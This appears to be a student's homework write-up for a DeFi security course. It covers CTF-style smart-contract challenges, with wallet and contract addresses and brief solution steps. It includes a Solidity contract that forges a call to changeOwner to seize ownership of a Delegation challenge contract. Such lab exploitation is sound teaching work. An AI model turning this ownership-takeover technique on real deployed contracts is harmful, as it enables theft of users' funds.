---
# System prepended metadata

title: Defi hw3

---

# Defi hw3

* Metamask Wallet Address
    * `0x8657382FE2097ECe5C659bCfa41993ED615F80b4`
* Greeter
    * Address: `0xa596ec336f3fd044aa9DDc5D09Cd30cA28840Dd3`
    * is locked: `false` 
    * transfer with metamask and unlock with remix
* Gate
    * Address  `0xe5A9Ecb246659878e3B1033cc4aA48BACc44F239`
    * is locked: `false`
    * use **etherscan** to discover secret, and use the secret in a contract to unlock.


* Delegation
Wallet Address: `0x8657382FE2097ECe5C659bCfa41993ED615F80b4`
Delegate Address: `0x2867F75419CB5E4cCae72A132b8e4423D665C70C`
Delegation Address: `0xc9F9dc940cdb999A033e5e4bF3c26A513CDd209B`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "contracts/Delegation.sol";

contract DelegateFucker {
    Delegation delegation;

    constructor(address d) {
        delegation = Delegation(d);
    }

    function fuckDelegation() public {
        address wallet = 0x8657382FE2097ECe5C659bCfa41993ED615F80b4; // my wallet
        bytes32 secret = 0x0000000000000000000000018657382FE2097ECe5C659bCfa41993ED615F80b4; 
                         
        bytes memory data = abi.encodeWithSignature("changeOwner(bytes32,address)", secret, wallet);
        (bool success, ) = address(delegation).call(data);
        require(success, "call not successful");
    }
}
```

* Reentrance
    Didn't solve.

